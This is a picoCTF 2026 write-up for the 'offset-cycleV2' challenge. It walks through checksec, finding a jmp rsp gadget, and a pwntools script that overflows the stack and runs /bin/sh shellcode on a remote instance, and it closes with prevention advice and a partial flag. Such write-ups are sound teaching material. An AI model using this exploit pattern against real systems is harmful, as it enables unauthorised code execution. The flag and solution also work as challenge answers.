Skip to main content

offset-cycleV2 picoCTF 2026 Solution

NX is disabled, so find the overflow offset, pivot through a jmp rsp gadget, and land in stack shellcode against a timer.

Published: March 20, 2026Updated: September 20, 2026

Description

It's a race against time. Solve the binary exploit ASAP.

Launch the challenge instance and connect via netcat.
Like offset-cycle but with an additional mitigation or constraint.

Solution

Want to try it yourself first?

The guided walkthrough reveals hints one step at a time.

Walk me through it
  1. Step 1Check protections - NX is disabled
    Observation
    This is offset-cycle with something changed. Run checksec first and see exactly what, before picking a technique.
    Run checksec on the binary. Unlike offset-cycle which used ret2win, this version has NX disabled, meaning the stack is executable. The intended technique is a jmp rsp gadget + shellcode injected on the stack.
    bash
    checksec --file=./vuln
    bash
    # Expected: NX disabled, no canary

    Expected output

    NX: NX disabled
    Stack: No canary found
    PIE: No PIE
    What didn't work first

    Tried: Attempt a ret2win or ROP chain without checking checksec first, assuming NX is enabled like in offset-cycle.

    With NX off, a ROP chain is more work than injecting shellcode and may fail outright if the gadgets you need are missing. checksec showing NX disabled is the signal that a trampoline plus shellcode is the intended path.

    Tried: Run checksec and see 'NX disabled' but still assume a canary is present and waste time leaking it.

    The checksec output also shows 'No canary found', meaning the return address can be overwritten directly without leaking or brute-forcing a stack canary. Attempting a canary bypass (such as format string leak) adds complexity the binary does not require.

    Learn more

    NX (No-eXecute), also called DEP (Data Execution Prevention) on Windows, is a CPU and OS feature that marks memory regions as either executable or writable, but not both. When NX is enabled, writing shellcode to the stack and jumping to it causes an immediate access violation because the stack is marked non-executable.

    When NX is disabled, the stack is executable, and you can inject arbitrary machine code (shellcode) directly in your overflow payload and redirect execution to it. This is the classic "stack smashing" technique from the 1990s, still present in CTF challenges to teach the fundamentals before introducing mitigations.

    NX is almost universally enabled in production systems today. The most common reason it's disabled in legitimate software is JIT compilation engines (like JavaScript engines) that need to write and execute machine code at runtime - but these use carefully guarded writable/executable mappings, not the stack.

  2. Step 2Find the jmp rsp gadget
    Observation
    checksec shows NX disabled, no canary, no PIE. The stack is executable, so a jmp rsp trampoline can drop straight into shellcode placed after the overwritten return address.
    Search the binary (or libc) for a jmp rsp gadget - an instruction that jumps to whatever RSP currently points to. After overwriting the return address with this gadget, the shellcode placed immediately after the return address will execute.
    bash
    ROPgadget --binary vuln | grep 'jmp rsp'
    bash
    # or:
    bash
    ropper -f vuln --search 'jmp rsp'
    bash
    # Confirm the input function so you know which bad bytes to avoid:
    bash
    objdump -T vuln | grep -E 'gets|fgets|scanf|read'
    bash
    objdump -d vuln | grep -E 'call.*(gets|fgets|scanf|read)'
    What didn't work first

    Tried: Search for a 'pop rdi; ret' gadget or a win function address instead of a jmp rsp gadget, treating this like a ret2win challenge.

    This version disables NX precisely to require a trampoline into shellcode rather than a ret2win or a ROP chain. There is no win function, and without a leak a libc chain would be blocked anyway. Find the jmp rsp byte sequence and use its address as the return.

    Tried: Search for 'jmp rsp' only in libc rather than in the binary itself, then hard-code the libc gadget address.

    With PIE off, as checksec confirms, gadgets inside the binary sit at fixed addresses run after run and need no leak. A libc gadget moves with the libc version and load offset, so using one without a leak crashes. Search the binary itself.

    Learn more

    The jmp rsp technique exploits a subtle property of how function returns work. When the overwritten return address is popped into RIP, RSP advances past it to point to the next bytes in your payload - your shellcode. A jmp rsp gadget then jumps directly to where RSP points, executing your shellcode immediately.

    This is sometimes called a "jump to stack" exploit or a "trampoline" attack. The gadget acts as a trampoline that bounces execution from the return address into your injected code. The gadget itself can be anywhere in the binary or any loaded library, as long as the instruction sequence FF E4 (jmp rsp) exists somewhere in mapped executable memory.

    The push rsp; ret sequence is actually equivalent to jmp rsp: at the point the gadget runs, RSP already points to your shellcode (one slot past the gadget address in the payload). push rsp stores that shellcode address on the stack, and ret pops it into RIP, landing execution on the shellcode. Use it freely if jmp rsp is not available. call rsp is the other commonly-equivalent primitive. If none of these exist, look for jmp [rsp], add rsp, X; ret, or pivot through a register you control.

    For the broader exploitation theory, see Buffer overflow exploitation for CTF; for the pwntools idioms used below, see pwntools for CTF.

  3. Step 3Build and send the shellcode payload
    Observation
    ROPgadget finds a jmp rsp at a fixed address in the binary. The payload is padding, that address, then raw shellcode, which executes the moment RSP lands on it.
    Craft a payload: padding to reach the return address + address of jmp rsp gadget + shellcode. The shellcode can be a /bin/sh shell or a direct cat /flag.txt payload.
    python
    python3 << 'EOF'
    from pwn import *
    
    e = ELF("./vuln")
    p = remote("<HOST>", <PORT_FROM_INSTANCE>)
    
    # Find jmp rsp gadget (via ROPgadget or pwntools)
    jmp_rsp = 0x????  # address from ROPgadget output
    
    offset = 64  # from cyclic pattern analysis
    
    # Recon FIRST so you know what to read. Don't hardcode /flag.txt.
    # Once you have a shell, run: ls /flag*; ls /; env | grep -i flag
    shellcode = asm(shellcraft.sh())   # interactive shell, then cat the real path
    
    # If you've already confirmed the flag path (e.g. /flag.txt) you can use:
    # shellcode = asm(shellcraft.cat('/flag.txt'))
    
    payload = b"A" * offset     # padding to RIP
    payload += p64(jmp_rsp)     # redirect to jmp rsp (lands on shellcode)
    payload += shellcode        # executed after jmp rsp
    
    p.sendline(payload)
    p.interactive()
    EOF
    What didn't work first

    Tried: Place the shellcode before the return address in the payload (inside the padding), then point the jmp rsp gadget back into the buffer.

    Once the return address is popped into RIP, RSP points at the bytes just after that slot, not back into the padding. Shellcode placed before it would need a leaked stack address to reach. The trampoline lands only on what follows the gadget in your payload.

    Tried: Use shellcraft.cat('/flag.txt') without first checking the actual flag path on the remote server.

    A cat payload exits immediately if the path is wrong, with no output and no way to look around. An interactive shell lets you list and search for the real flag path first.

    Learn more

    Shellcode is machine code injected into a process to perform attacker-controlled actions. The most common payload is an execve("/bin/sh", NULL, NULL) syscall sequence that spawns a shell. pwntools' shellcraft module generates platform-appropriate shellcode, and asm() assembles it to raw bytes.

    pwntools' shellcraft.sh() generates a compact shellcode stub that executes /bin/sh. For CTF servers where you only need to read a file rather than get an interactive shell, shellcraft.cat('/flag.txt') generates even simpler shellcode that just prints the flag and exits, but it only works if the flag is actually at that path. Default to shellcraft.sh(), then run ls /flag*, ls /, and find / -name 'flag*' 2>/dev/null in the spawned shell to locate the real path.

    Real-world shellcode must sometimes be position-independent (no hardcoded addresses), avoid certain bad bytes (null bytes terminate strings, newlines may break input handling), and fit within tight size constraints. pwntools handles many of these automatically, but understanding the constraints helps when you need to write custom shellcode.

    • Avoid null bytes: use xor eax, eax instead of mov eax, 0
    • Avoid newlines (0x0a) if input is read by fgets
    • pwntools' encoder module, pwnlib.encoders.encode(shellcode, avoid=b'\x00\x0a'), can encode around bad bytes (asm() itself takes no avoid argument)
Interactive tools
  • Cyclic Pattern GeneratorGenerate de Bruijn cyclic patterns and find buffer overflow offsets. The browser equivalent of pwntools cyclic and cyclic_find.
  • pwntools Payload BuilderPack integers into little-endian bytes (p32 / p64), unpack bytes back to integers, and build flat ROP payloads with offset-based insertion.

Flag

Reveal flag

picoCTF{Y0U_AGa1n_Us3d_pwNt00L5_...}

offset-cycleV2 disables NX, so instead of ret2win, you use a `jmp rsp` gadget to jump to shellcode placed right after the overwritten return address on the stack.

Key takeaway

The NX bit separates memory that can be written from memory that can be executed, which stops raw machine code injected into the stack or heap from running. Without it, an overflow needs no existing code to reuse: the shellcode inside the payload executes directly. NX is the mitigation that forced return-oriented programming into existence, and the write-or-execute principle behind it is now standard in every modern operating system and toolchain.

How to prevent this

Disabling NX is the entire reason this is exploitable. Do not do it.

  • Always link with -z noexecstack (the default in modern toolchains). NX makes stack+heap memory non-executable; jmp rsp into shellcode immediately segfaults.
  • Bound the read so the overflow doesn't happen in the first place. fgets(buf, sizeof(buf), stdin) with stack canaries is a complete fix for this bug class.
  • If the binary genuinely needs an executable region (JIT compilers), allocate it with mprotect(PROT_READ | PROT_EXEC) after writing, and never with PROT_WRITE | PROT_EXEC simultaneously (W^X).

Related reading

Tools used in this challenge

Where to go next